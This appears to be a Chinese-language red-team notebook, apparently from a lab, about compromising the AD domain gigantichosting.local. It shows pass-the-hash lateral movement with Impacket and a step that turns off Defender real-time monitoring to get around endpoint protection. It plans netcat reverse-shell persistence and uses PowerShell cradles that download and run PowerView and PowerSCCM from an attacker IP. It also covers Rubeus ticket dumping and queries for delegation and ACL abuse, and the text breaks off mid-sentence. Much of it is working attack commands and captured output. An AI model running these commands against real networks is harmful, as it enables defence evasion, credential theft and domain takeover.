在新的域环境 (gigantichosting.local) 中进行深度枚举、权限分析和攻击路径规划的核心技术与战术思想。
前言-域内工具讲解
AD 攻击相关工具及其用途内容:
1 域内枚举
1.1 横向移动与 Shell 管理
在进入新的域环境后,首要任务是利用已有凭据(如哈希)建立一个稳定、高权限且具备良好交互性的操作会话。这个过程往往需要在多种工具和技术之间进行权衡与尝试。
1.1.1 横向移动工具的选择与权衡
在拥有目标主机 servicedesk.gigantichosting.local 的 Administrator 哈希后,可以利用 Impacket 工具集进行“哈希传递”(Pass-the-Hash, PTH)攻击,实现横向移动。
psexec.py原理:通过 SMB 协议上传一个可执行文件到目标主机的
ADMIN$共享,然后通过 RPC 调用创建一个服务来执行该文件,从而获得一个交互式 Shell。优点:通常能提供一个交互性良好的 Shell,操作体验顺畅。
缺点:行为特征明显(上传文件、创建服务),容易被终端防御/EDR 产品检测和拦截。在本次行动初期,该方法被防御系统阻止。
smbexec.py原理:不上传可执行文件,而是通过 RPC 在
ADMIN$共享中创建一个管道(pipe),并将命令执行的输出重定向到该管道,从而远程执行命令。优点:行为更隐蔽,绕过了文件落地和服务创建的检测点,成功绕过了本次目标的初始防御。
缺点:获得的 Shell 是一个半交互式(Semi-Interactive)Shell,功能受限,例如直接执行
powershell进入交互式环境可能会失败或假死。
1.2.1 Shell 的“折腾”与提质 (Shell Tinkering)
获得初始的半交互式 Shell 只是第一步,关键在于如何利用这个受限的环境来创造一个功能完备的操作据点。
第一步:利用半交互式 Shell 削弱防御
目标:关闭或绕过目标主机的实时监控等防御措施。
方法:在
smbexec.py提供的半交互式 CMD 环境中,执行一条完整的、无需交互的 PowerShell 命令来禁用防御。命令示例:
PowerShell
powershell -c "Set-MpPreference -DisableRealtimeMonitoring $true"注意:这种方式是“一次性”的,命令执行后当前 Shell 的使命即完成,可能会断开。关键在于命令能在后台成功执行。
第二步:切换至高质量交互式 Shell
在防御被禁用后,立即使用
psexec.py重新进行横向移动,此时由于防御已失效,可以成功获得一个功能完整的交互式 Shell。
第三步:建立稳定持久的后门(可选)
为了防止目标丢失(例如管理员修改密码导致 PTH 失效),可以在拥有稳定 Shell 后,上传
netcat(nc.exe) 等工具,并建立一个反向连接 Shell 作为更稳定的持久化方式。
1.3.1 持久化策略的思考
无文件持久化:仅保留目标的哈希,每次都通过 PTH 登录。这是最隐蔽的方式,因为它不对目标系统做任何改动。
优点:隐蔽性极高,无文件落地。
缺点:依赖于目标凭据的稳定性,一旦密码被修改,访问权限即丢失。
有文件持久化:在目标系统上部署后门程序(如
nc反向 Shell、服务、计划任务等)。优点:更稳定,不完全依赖于单一凭据。
缺点:会留下痕迹,增加了被发现的风险。
决策依据:持久化策略的选择取决于具体场景。如果红队在域内已控制多台机器,或已拿下域控(DC),则在单台成员服务器上无需部署复杂的持久化。反之,如果当前主机是唯一的立足点,则应考虑建立多种、可靠的持久化方式。
1.2 Rubeus枚举
Rubeus是一个强大的工具,专门用于与Kerberos协议相关的攻击和操作。它为Windows环境开发,能够执行多种与Kerberos认证、票据操作和安全相关的任务。
票据信息收集 (Triage)
triage命令用于收集和显示当前系统中与Kerberos票据相关的信息。执行此命令时,Rubeus会枚举和报告当前缓存中的所有Kerberos票据,包括TGT和各类服务票据。
此命令的主要作用:
查看当前用户的Kerberos票据缓存。
识别当前系统上的Kerberos认证状态。
发现潜在的安全问题,例如过期的票据或异常的票据授权。
为后续的攻击(如票据传递攻击)提供支持。
命令示例:
Rubeus.exe triagetriage命令的输出会展示当前系统中缓存的Kerberos票据,通常包含以下关键信息:UserName: 票据所属的用户名。LUID: 登录会话的ID。Service: 票据对应的服务主体名称 (SPN),例如krbtgt/DOMAIN.LOCAL(TGT) 或cifs/dc.domain.local(服务票据)。EndTime: 票据的到期时间。
票据数据转储 (Dump)
dump命令用于更详细地转储Kerberos票据的数据。此命令会提取并显示票据的完整信息,包括加密类型、密钥以及Base64编码的票据本身。
命令示例:
Rubeus.exe dumpdump命令的输出会提供关于每个票据的详尽信息,关键字段包括:UserName和UserRealm: 用户名及所属的域。ServiceName和ServiceRealm: 服务名及所属的域。StartTime和EndTime: 票据的有效起止时间。Flags: 票据的属性标志,如forwardable,renewable等。KeyType: 用于加密票据的密钥类型,例如aes256_cts_hmac_sha1。Base64 (key): 票据会话密钥的Base64编码。Base64EncodedTicket: 完整的Kerberos票据的Base64编码,可用于票据传递等攻击。
1.3 PowerView枚举
PowerView是一个强大的PowerShell工具,主要用于执行Active Directory环境的侦察和枚举。它是PowerSploit项目的一部分,旨在帮助渗透测试人员和红队操作员高效收集信息。
PowerView简介与加载
主要功能:
用户和组枚举: 快速列出AD中的用户账户、组和组成员。
计算机和服务器发现: 枚举域中的计算机,识别高价值目标。
域信任映射: 枚举和分析域间的信任关系,发现横向移动路径。
权限枚举: 发现用户对特定系统或资源的权限,如文件共享、GPO等。
与官方AD模块对比:
来源: PowerView是第三方渗透测试工具;PowerShell AD模块是官方管理工具。
目的: PowerView侧重于信息收集与攻击前侦察;AD模块用于合法的系统管理与维护。
权限: PowerView通常在低权限用户下即可执行信息枚举;AD模块通常需要管理员或特定权限。
加载方法:
PowerView脚本可以通过Web服务下载并直接在内存中执行,以避免文件落地。
命令示例:
powershell Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://<Your_IP>/PowerView.ps1')Invoke-Expression会执行下载的脚本内容,执行完毕后,PowerView提供的所有函数在当前会话中即可使用。
执行策略问题:
如果脚本无法执行,可能是因为PowerShell的执行策略限制。
可通过修改执行策略来解决,例如设置为无限制(不推荐在生产环境随意使用)或仅允许远程签名的脚本。
命令示例:
Set-ExecutionPolicy Unrestricted或更谨慎的设置:
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
发现PowerView提供的函数
为了确定PowerView加载后在当前会话中新增了哪些函数,可以使用以下方法进行对比:
首先,在加载PowerView前,获取当前会话的所有函数并存入一个变量。
然后,加载PowerView脚本。
最后,再次获取当前会话的所有函数,并与之前保存的列表进行比较,差集即为PowerView新增的函数。
命令流程示例:
#先提条件-设置执行策略 Set-ExecutionPolicy Unrestricted # 1. 保存加载前的函数列表 $currentFunctions = Get-ChildItem function: # 2. 从内存加载PowerView Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://<Your_IP>/PowerView.ps1') Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/powershell/PowerView.ps1') # vshell版本命令 . .\PowerView.ps1 # 3. 找出新增的函数 $scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ } # 4. 以多列格式显示新增的函数名 $scriptFunctions | Format-Wide -Column 4function:是一个PowerShell驱动器,包含了当前会话中所有已定义的函数。使用Get-ChildItem function:可以列出所有函数对象。
PS C:\ProgramData> Set-ExecutionPolicy Unrestricted PS C:\ProgramData> $currentFunctions = Get-ChildItem function: PS C:\ProgramData> Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/powershell/PowerView.ps1') PS C:\ProgramData> $scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ } PS C:\ProgramData> $scriptFunctions | Format-Wide -Column 4 Add-DomainGroupMember Add-DomainObjectAcl Add-RemoteConnection Add-Win32Type Convert-ADName Convert-DNSRecord ConvertFrom-LDAPLogonHours ConvertFrom-SID ConvertFrom-UACValue Convert-LDAPProperty ConvertTo-SID Export-PowerViewCSV field Find-DomainLocalGroupMember Find-DomainObjectPropertyOutlier Find-DomainProcess Find-DomainShare Find-DomainUserEvent Find-DomainUserLocation Find-InterestingDomainAcl Find-InterestingDomainShareFile Find-InterestingFile Find-LocalAdminAccess func Get-Domain Get-DomainComputer Get-DomainController Get-DomainDFSShare Get-DomainDNSRecord Get-DomainDNSZone Get-DomainFileServer Get-DomainForeignGroupMember Get-DomainForeignUser Get-DomainGPO Get-DomainGPOComputerLocalGroupMa... Get-DomainGPOLocalGroup Get-DomainGPOUserLocalGroupMapping Get-DomainGroup Get-DomainGroupMember Get-DomainGroupMemberDeleted Get-DomainGUIDMap Get-DomainManagedSecurityGroup Get-DomainObject Get-DomainObjectAcl Get-DomainObjectAttributeHistory Get-DomainObjectLinkedAttributeHis... Get-DomainOU Get-DomainPolicyData Get-DomainSearcher Get-DomainSID Get-DomainSite Get-DomainSPNTicket Get-DomainSubnet Get-DomainTrust Get-DomainTrustMapping Get-DomainUser Get-DomainUserEvent Get-Forest Get-ForestDomain Get-ForestGlobalCatalog Get-ForestSchemaClass Get-ForestTrust Get-GPODelegation Get-GptTmpl Get-GroupsXML Get-IniContent Get-NetComputerSiteName Get-NetLocalGroup Get-NetLocalGroupMember Get-NetLoggedon Get-NetRDPSession Get-NetSession Get-NetShare Get-PathAcl Get-PrincipalContext Get-RegLoggedOn Get-WMIProcess Get-WMIRegCachedRDPConnection Get-WMIRegLastLoggedOn Get-WMIRegMountedDrive Get-WMIRegProxy Invoke-Kerberoast Invoke-RevertToSelf Invoke-UserImpersonation New-ADObjectAccessControlEntry New-DomainGroup New-DomainUser New-DynamicParameter New-InMemoryModule New-ThreadedFunction psenum Remove-DomainGroupMember Remove-DomainObjectAcl Remove-RemoteConnection Resolve-IPAddress Set-DomainObject Set-DomainObjectOwner Set-DomainUserPassword struct Test-AdminAccess PS C:\ProgramData>查看子命令详细帮助
get-helpPS C:\programdata\apps> get-help Get-DomainDNSZone NAME Get-DomainDNSZone SYNOPSIS Enumerates the Active Directory DNS zones for a given domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty SYNTAX Get-DomainDNSZone [[-Domain] <String>] [-Server <String>] [-Properties <String[]>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-FindOne] [-Credential <PSCredential>] [<CommonParameters>] DESCRIPTION RELATED LINKS REMARKS To see the examples, type: "get-help Get-DomainDNSZone -examples". For more information, type: "get-help Get-DomainDNSZone -detailed". For technical information, type: "get-help Get-DomainDNSZone -full". PS C:\programdata\apps>PS C:\programdata\apps> Get-DomainDNSZone usncreated : 12499 name : RootDNSServers dc : RootDNSServers objectclass : {top, dnsZone} showinadvancedviewonly : True usnchanged : 12501 dscorepropagationdata : {1/2/2020 10:58:26 AM, 1/2/2020 10:58:26 AM, 1/2/2020 10:58:26 AM, 1/2/2020 10:58:26 AM...} cn : Zone distinguishedname : DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=GiganticHosting,DC=local whencreated : 1/2/2020 10:58:26 AM whenchanged : 1/2/2020 10:58:26 AM instancetype : 4 objectguid : 0a7498a2-b662-4555-a024-e576c466a4ef objectcategory : CN=Dns-Zone,CN=Schema,CN=Configuration,DC=GiganticHosting,DC=local ZoneName : RootDNSServersPS C:\programdata\apps> Get-DomainComputer pwdlastset : 4/12/2020 3:00:43 AM logoncount : 249 msds-generationid : {202, 123, 143, 53...} serverreferencebl : CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=GiganticHosting,DC=local badpasswordtime : 12/31/1600 4:00:00 PM distinguishedname : CN=DC,OU=Domain Controllers,DC=GiganticHosting,DC=local objectclass : {top, person, organizationalPerson, user...} lastlogontimestamp : 7/31/2025 9:33:36 AM name : DC objectsid : S-1-5-21-3510652932-1607944569-1019420304-1000 samaccountname : DC$ localpolicyflags : 0 codepage : 0 samaccounttype : MACHINE_ACCOUNT whenchanged : 7/31/2025 4:33:36 PM accountexpires : NEVER countrycode : 0 operatingsystem : Windows Server 2019 Standard instancetype : 4 msdfsr-computerreferencebl : CN=DC,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,CN=System,DC=GiganticHosting,DC=local objectguid : 5f48e265-f64d-45b6-a09d-9cddd2fdd002 operatingsystemversion : 10.0 (17763) lastlogoff : 12/31/1600 4:00:00 PM objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=GiganticHosting,DC=local dscorepropagationdata : {1/2/2020 10:57:46 AM, 1/1/1601 12:00:01 AM} serviceprincipalname : {TERMSRV/DC, TERMSRV/dc.GiganticHosting.local, Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/dc.GiganticHosting.local, ldap/dc.GiganticHosting.local/ForestDnsZones.GiganticHosting.local...} usncreated : 12293 lastlogon : 7/31/2025 10:33:06 AM badpwdcount : 0 cn : DC useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION whencreated : 1/2/2020 10:57:46 AM primarygroupid : 516 iscriticalsystemobject : True msds-supportedencryptiontypes : 28 usnchanged : 274512 ridsetreferences : CN=RID Set,CN=DC,OU=Domain Controllers,DC=GiganticHosting,DC=local dnshostname : dc.GiganticHosting.local logoncount : 202 badpasswordtime : 12/31/1600 4:00:00 PM distinguishedname : CN=SCCM,CN=Computers,DC=GiganticHosting,DC=local objectclass : {top, person, organizationalPerson, user...} badpwdcount : 0 displayname : SCCM$ lastlogontimestamp : 7/31/2025 9:33:43 AM objectsid : S-1-5-21-3510652932-1607944569-1019420304-1602 samaccountname : SCCM$ localpolicyflags : 0 codepage : 0 samaccounttype : MACHINE_ACCOUNT countrycode : 0 cn : SCCM accountexpires : NEVER whenchanged : 7/31/2025 4:33:43 PM instancetype : 4 usncreated : 20566 objectguid : fb8c6eec-a085-416f-af13-4f9c78455e02 operatingsystem : Windows Server 2019 Standard operatingsystemversion : 10.0 (17763) lastlogoff : 12/31/1600 4:00:00 PM objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=GiganticHosting,DC=local dscorepropagationdata : 1/1/1601 12:00:00 AM serviceprincipalname : {tapinego/SCCM, tapinego/sccm.GiganticHosting.local, MSSQLSvc/sccm.GiganticHosting.local:1433, MSSQLSvc/sccm.GiganticHosting.local...} lastlogon : 7/31/2025 1:08:34 PM iscriticalsystemobject : False usnchanged : 274518 useraccountcontrol : WORKSTATION_TRUST_ACCOUNT whencreated : 1/4/2020 10:30:52 AM primarygroupid : 515 pwdlastset : 3/24/2020 9:55:12 AM msds-supportedencryptiontypes : 28 name : SCCM dnshostname : sccm.GiganticHosting.local logoncount : 129 badpasswordtime : 12/31/1600 4:00:00 PM distinguishedname : CN=SERVICEDESK,CN=Computers,DC=GiganticHosting,DC=local objectclass : {top, person, organizationalPerson, user...} badpwdcount : 0 displayname : SERVICEDESK$ lastlogontimestamp : 7/31/2025 9:33:41 AM objectsid : S-1-5-21-3510652932-1607944569-1019420304-1640 samaccountname : SERVICEDESK$ localpolicyflags : 0 codepage : 0 samaccounttype : MACHINE_ACCOUNT countrycode : 0 cn : SERVICEDESK accountexpires : NEVER whenchanged : 7/31/2025 4:33:41 PM instancetype : 4 usncreated : 131141 objectguid : d6e7ebad-6dd0-4966-af2e-36628474d923 operatingsystem : Windows Server 2019 Standard operatingsystemversion : 10.0 (17763) lastlogoff : 12/31/1600 4:00:00 PM objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=GiganticHosting,DC=local dscorepropagationdata : 1/1/1601 12:00:00 AM serviceprincipalname : {WSMAN/servicedesk, WSMAN/servicedesk.GiganticHosting.local, RestrictedKrbHost/servicedesk.GiganticHosting.local, HOST/servicedesk.GiganticHosting.local...} lastlogon : 7/31/2025 1:08:33 PM iscriticalsystemobject : False usnchanged : 274514 useraccountcontrol : WORKSTATION_TRUST_ACCOUNT whencreated : 3/12/2020 7:33:38 PM primarygroupid : 515 pwdlastset : 3/12/2020 12:33:38 PM msds-supportedencryptiontypes : 28 name : SERVICEDESK dnshostname : servicedesk.GiganticHosting.local PS C:\programdata\apps>
1.3.1 vshell版本命令
PS C:\programdata\apps> Set-ExecutionPolicy Unrestricted
PS C:\programdata\apps> $currentFunctions = Get-ChildItem function:
PS C:\programdata\apps> . .\PowerView.ps1
PS C:\programdata\apps> $scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ }
PS C:\programdata\apps> $scriptFunctions | Format-Wide -Column 41.3.2 PowerView核心功能模块
PowerView提供了大量功能函数,可分为以下几类:
杂项功能
Resolve-IPAddress: 解析主机名为IP地址。ConvertTo-SID: 将用户或组名转换为其安全标识符(SID)。Convert-ADName: 在多种AD对象名称格式之间进行转换。ConvertFrom-UACValue: 将用户账户控制(UAC)的整数值转换为人类可读的描述。Invoke-UserImpersonation: 创建一个新的登录会话并模拟用户令牌。Invoke-RevertToSelf: 撤销任何活动的令牌模拟。Get-DomainSPNTicket: 请求指定服务主体名称(SPN)的Kerberos票据。Invoke-Kerberoast: 请求可进行Kerberoasting攻击的账户的服务票据,并返回提取的票据哈希。Get-PathAcl: 获取本地或远程文件路径的访问控制列表(ACL)。
域与LDAP功能
Get-Domain: 返回当前或指定域的域对象信息。Get-DomainController: 返回当前或指定域的域控制器列表。Get-Forest: 返回当前森林的森林对象信息。Get-ForestDomain: 返回当前森林中的所有域。Get-DomainUser: 返回AD中的所有用户或特定用户信息。Get-DomainComputer: 返回AD中的所有计算机或特定计算机信息。Get-DomainGroup: 返回AD中的所有组或特定组信息。Get-DomainGroupMember: 返回特定域组成员的列表。Get-DomainObjectAcl: 返回指定AD对象的ACL。Find-InterestingDomainAcl: 寻找域中配置了非默认修改权限的对象ACL。
GPO功能
Get-DomainGPO: 返回AD中的所有组策略对象(GPO)或特定GPO信息。Get-DomainGPOLocalGroup: 返回通过GPO修改本地组成员的策略。Get-DomainGPOUserLocalGroupMapping: 枚举因GPO关联而成为特定本地组成员的机器。
计算机枚举功能
Get-NetLocalGroup: 枚举本地或远程计算机上的本地组。Get-NetLocalGroupMember: 枚举特定本地组的成员。Get-NetShare: 返回本地或远程计算机上的文件共享。Get-NetLoggedon: 返回在本地或远程计算机上已登录的用户。Get-NetSession: 返回本地或远程计算机的会话信息。Test-AdminAccess: 测试当前用户是否对目标计算机拥有本地管理员权限。
线程化元功能 (Meta-Functions)
Find-DomainUserLocation: 查找特定用户当前登录在哪些域计算机上。Find-DomainShare: 查找域中所有可访问的文件共享。Find-LocalAdminAccess: 查找当前用户拥有本地管理员权限的所有域内计算机。Invoke-ShareFinder: 自动发现并列出网络中所有可用的共享资源。
域信任功能
Get-DomainTrust: 返回当前或指定域的所有域信任关系。Get-ForestTrust: 返回当前森林的所有森林信任关系。Get-DomainTrustMapping: 枚举当前域的所有信任,并为每个找到的域递归枚举其信任关系。Invoke-MapDomainTrust: 映射并分析AD环境中的域信任关系。
1.3.3 PowerView实战应用示例
获取当前域信息
Get-NetDomain命令用于快速获取当前所在域的基本信息。命令示例:
Get-NetDomain输出内容包括:
Forest: 所在林的名称。DomainControllers: 域控制器列表。Name: 域名。各类FSMO角色的所有者,如
PdcRoleOwner、RidRoleOwner等。
发现网络共享
Invoke-ShareFinder命令用于自动发现和列出网络中所有可访问的共享资源。命令示例:
Invoke-ShareFinder也可以指定要扫描的域:
Invoke-ShareFinder -Domain megabank.local输出会列出共享的名称、类型、备注以及所在的计算机名。
映射域信任关系
Invoke-MapDomainTrust命令用于映射和分析AD环境中的域信任关系,揭示潜在的跨域攻击路径。命令示例:
Invoke-MapDomainTrust输出的关键信息:
SourceName和TargetName: 信任关系的源域和目标域。TrustType: 信任类型,如WINDOWS_ACTIVE_DIRECTORY。TrustDirection: 信任方向,如Inbound(入站)、Outbound(出站)或Bidirectional(双向)。TrustAttributes: 信任属性,如FOREST_TRANSITIVE(林可传递)、TREAT_AS_EXTERNAL(视为外部)。
获取域控制器信息
Get-NetDomainController命令用于获取域控制器的详细信息。命令示例:
Get-NetDomainController指定目标域:
Get-NetDomainController -Domain megabank.local输出包含:
Name: 域控制器的主机名。IPAddress: IP地址。OSVersion: 操作系统版本。Roles: 该DC所扮演的FSMO角色。SiteName: 所在的AD站点。
枚举域用户 (
Get-NetUser):PS C:\ProgramData> Get-NetUser -Domain megabank.local输出分析:
该命令返回了
megabank.local域中的7个用户账户,包括系统内置账户和自定义账户。
通过分析其属性,可以获得关键情报:Administrator: 内置域管理员,权限最高。Guest: 内置访客账户。krbtgt: Kerberos 密钥分发中心服务账户,其哈希是制作黄金票据的关键。svc_ata: 可能的服务账户,其serviceprincipalname属性为HTTP/server2,
暗示与 Web 服务相关。sql_admin: 从名称推断是数据库管理员账户。remote_admin: 属于Remote Management Users和Remote Desktop Users组,
拥有远程管理权限。veeam: 属于backup和Backup Operators组,可能用于备份服务。
Veeam 是知名的数据保护软件,相关账户值得关注。
关键用户属性解读:
samaccountname: 登录名。distinguishedname: 在 AD 中的唯一路径。memberof: 所属的用户组,这是判断权限的关键。useraccountcontrol: 账户控制标志,如ACCOUNTDISABLE,DONT_EXPIRE_PASSWORD等。pwdlastset: 最后一次设置密码的时间,可用于评估密码策略和猜测密码。lastlogontimestamp: 最后登录时间,可判断账户活跃度。serviceprincipalname: 服务主体名称,用于Kerberoasting攻击。
通过分析这些信息,可以识别出管理员账户、服务账户、特权组成员以及可能存在弱点的账户。
1.4 SCCM与PowerSCCM枚举
SCCM简介
SCCM (System Center Configuration Manager),现称 Microsoft Endpoint Configuration Manager (MECM),是微软开发的系统管理软件,用于大规模管理Windows设备。
主要用途:
软件部署: 自动化分发和安装软件。
操作系统部署: 自动化安装和升级Windows操作系统。
补丁管理: 集中管理和部署操作系统及应用补丁。
资产管理: 监控和报告软硬件资产。
合规性与安全管理: 强制执行企业安全策略。
远程控制: 为技术支持提供远程访问用户设备的能力。
由于SCCM拥有在域内大量设备上执行代码和推送配置的能力,其控制权是红队行动中的高价值目标。
使用PowerSCCM进行枚举
PowerSCCM是一个功能完善的PowerShell模块,用于与SCCM环境进行交互。
加载方式:
与PowerView类似,可以通过Web服务下载PowerSCCM脚本并在内存中执行。
命令示例:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://<Your_IP>/PowerSCCM.ps1')基本使用流程:
发现SCCM站点代码: 使用
Find-SccmSiteCode命令找到目标服务器上的SCCM站点代码。
PS C:\programdata\apps> Find-SccmSiteCode -ComputerName sccm.gigantichosting.local Find-SccmSiteCode -ComputerName sccm.gigantichosting.local SiteCode -------- GH1 PS C:\programdata\apps>建立新会话: 使用
New-SccmSession命令建立一个与SCCM服务器的连接会话。连接可以通过WMI或直接连接数据库。
New-SccmSession -ComputerName sccm.gigantichosting.local -SiteCode GH1 -ConnectionType WMI PS C:\programdata\apps> New-SccmSession -ComputerName sccm.gigantichosting.local -SiteCode GH1 -ConnectionType WMI New-SccmSession -ComputerName sccm.gigantichosting.local -SiteCode GH1 -ConnectionType WMI New-SccmSession : [!] Error connecting to sccm.gigantichosting.local\ via WMI : Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)) At line:1 char:1 + New-SccmSession -ComputerName sccm.gigantichosting.local -SiteCode GH ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,New-SccmSession Id Name ComputerName -- ---- ------------ 1 GH11 sccm.gigantichosting.local PS C:\programdata\apps>会话管理:
Get-SccmSession: 查看已建立的SCCM会话。Remove-SccmSession: 关闭并移除一个会话。
WMI连接问题与简介
在连接SCCM时,可能会遇到基于WMI的访问被拒绝的错误。
WMI (Windows Management Instrumentation) 是Windows操作系统的核心管理组件,它提供了一种标准化的方式来访问和管理操作系统、设备、应用和服务的信息。
主要用途:
系统管理与配置: 自动化管理任务,如配置网络、管理用户账户等。
监控与报告: 收集系统性能数据,生成健康报告。
事件订阅: 监控特定事件并触发相应操作。
访问WMI的方法:
PowerShell: 使用
Get-WmiObject(旧) 或Get-CimInstance(新) cmdlet。命令行工具: 使用
wmic.exe。WMI Explorer: 第三方图形化工具,用于浏览和查询WMI信息。
脚本语言: 如VBScript。
2 域攻击路径手工枚举
Active Directory (AD) 作为企业网络的核心,其安全性直接决定了整个网络的防护水平。虽然自动化工具在域路径枚举中效率极高,但它们依赖固定的逻辑,可能无法深入理解特殊的配置和复杂的权限关系。手工枚举提供了一种更直接、更细腻的分析方式,可以发现工具难以捕捉的隐藏漏洞和风险。
2.1 高效域枚举的PowerShell模块与脚本精选
在进行手工域枚举时,合理加载和灵活使用以下模块与脚本,可以显著增强技术分析能力并高效完成任务。
Active Directory 模块
这是手工域枚举的基础工具,默认包含在Windows的远程服务器管理工具(RSAT)中。它提供了与域环境交互的核心命令,如
Get-ADUser,Get-ADGroup等。加载命令:
Import-Module ActiveDirectoryPowerView
一款功能全面的Active Directory枚举工具,隶属于PowerSploit项目,适合分析ACL、跨域信任关系和权限配置等。
加载命令:
Import-Module .\PowerView.ps1PowerMad
用于操作AD委派配置的专用工具,尤其适用于资源约束型委派(RBCD)的配置分析及利用。
加载命令:
Import-Module .\PowerMad.ps1SQLServer 模块
适用于枚举和交互域内的MSSQL服务实例,支持查询服务实例、数据库配置和用户权限等操作。
安装与加载命令:
Install-Module -Name SqlServer Import-Module SqlServerPowerUpSQL
专注于MSSQL枚举和利用的工具集,支持发现SQL服务实例、执行命令、枚举账户等。
加载命令:
Import-Module .\PowerUpSQL.ps1ConfigurationManager模块
这是SCCM自带的核心管理与分析工具,随SCCM控制台一同安装。通过此模块可以枚举设备列表、查看软件分发包及查询客户端状态。
加载命令 (需在SCCM控制台安装目录下执行):
Import-Module .\ConfigurationManager.psd1AzureAD 模块
适用于分析Azure AD环境中的用户及角色配置,尤其在混合域环境下至关重要。
安装与加载命令:
Install-Module -Name AzureAD Import-Module AzureADMailSniper
专为Microsoft Exchange环境设计的枚举工具,支持发现邮箱权限配置问题及潜在的数据泄露风险。
加载命令:
Import-Module .\MailSniper.ps1
2.2 基础技能:ACL枚举与分析
手工枚举域内ACL(访问控制列表)是一项基础且重要的技能,可以帮助理解域环境中权限的分配和潜在的滥用机会。
ACL核心概念
ACL定义了哪些主体(用户、组、计算机)对特定对象(如用户对象、组对象)拥有何种权限(如读、写、修改等)。
在Windows域环境中,ACL由一系列的访问控制项(ACE)组成,每个ACE都与一个AD对象绑定。
手工枚举方法
枚举域内对象: 使用
Get-ADObject列出域内的对象及其属性。可以通过LDAP路径或过滤条件来获取特定对象。
Get-ADObject -Filter * -SearchBase "DC=redteamnotes,DC=com" -Properties *查看对象的ACL: 利用
Get-Acl命令读取对象的ACL。AD:是Active Directory PowerShell驱动器的前缀,允许直接操作AD对象的ACL。
$User = "CN=redpen,OU=Users,DC=redteamnotes,DC=com" Get-Acl -Path "AD:\$User" | Format-List过滤关键权限: 通过对
Access字段进行筛选,可以查找特定的高危权限,如GenericAll或GenericWrite。
$acl = Get-Acl -Path "AD:\$User" $acl.Access | Where-Object { $_.AccessControlType -eq "Allow" -and ($_.ActiveDirectoryRights -like "*GenericAll*" -or $_.ActiveDirectoryRights -like "*GenericWrite*") }列出高权限组成员及权限: 枚举高权限组(如Domain Admins)并递归查看其成员和每个成员的ACL。
Get-ADGroupMember -Identity "Domain Admins" -Recursive | ForEach-Object { Get-Acl -Path ("AD:" + $_.DistinguishedName) | Format-List }
2.3 进阶技巧:全面分析域攻击路径
进阶技能主要集中在深入理解AD复杂的权限模型,并利用特定技术来识别潜在的攻击面。
2.3.1 深入理解委派机制
在Active Directory中,委派主要分为三种类型,每种类型在功能和安全性上都有显著差异。
无约束委派 (Unconstrained Delegation)
原理: 这是最早的委派方式。当一个账户(用户或计算机)被配置为无约束委派时,任何用户向其服务发起认证后,该用户的TGT(票据授予票据)会被缓存在该服务的内存中。服务随后可以使用这张TGT模拟该用户去访问域内任何其他资源。
风险: 攻击者一旦攻陷了配置无约束委派的服务器,就可以从其内存中提取所有访问过该服务的用户的TGT,包括域管的TGT。利用这些票据,攻击者可以实施Pass-the-Ticket攻击,冒充高权限用户在域内横向移动。
查询方法:
# 查询配置了无约束委派的用户 Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation # 查询配置了无约束委派的计算机 Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation约束委派 (Constrained Delegation)
原理: 为解决无约束委派的巨大风险而引入。它限制了服务只能模拟用户访问指定的服务。这个“指定”是通过服务主体名称(SPN)来定义的,配置信息存储在服务账户的
msDS-AllowedToDelegateTo属性中。风险: 如果攻击者控制了一个配置了约束委派的服务账户,他们就可以冒充任意用户(包括域管)去访问该账户被授权访问的那些特定服务。如果授权的目标服务权限过高(如CIFS、LDAP),攻击者仍可实现权限提升。
查询方法:
# 查询配置了约束委派的用户 Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo # 查询配置了约束委派的计算机 Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo基于资源的约束委派 (RBCD)
原理: 这是最新的委派模型,将委派的控制权从“发起服务”转移到了“目标资源”。目标资源可以通过其
msDS-AllowedToActOnBehalfOfOtherIdentity属性来指定“谁”可以模拟用户来访问自己。风险: 如果攻击者对某个计算机账户拥有写入权限(例如,通过GenericWrite),他们就可以修改该计算机的
msDS-AllowedToActOnBehalfOfOtherIdentity属性,将自己控制的另一个账户添加进去。完成配置后,攻击者就可以使用自己控制的账户模拟任意用户访问该目标计算机,从而实现权限提升。查询方法:
# 查询配置了RBCD的计算机对象 Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null }
2.3.2 挖掘ACL中的隐藏权限
非继承权限: 筛选出ACL中未从父对象继承的权限,这些通常是针对特定对象进行的特殊权限配置,可能隐藏着攻击路径。
Get-Acl -Path "AD:OU=CriticalOU,DC=redteamnotes,DC=com" | Select-Object -ExpandProperty Access | Where-Object {
$_.IsInherited -eq $false
}关键权限: 重点关注可导致直接控制的权限,例如
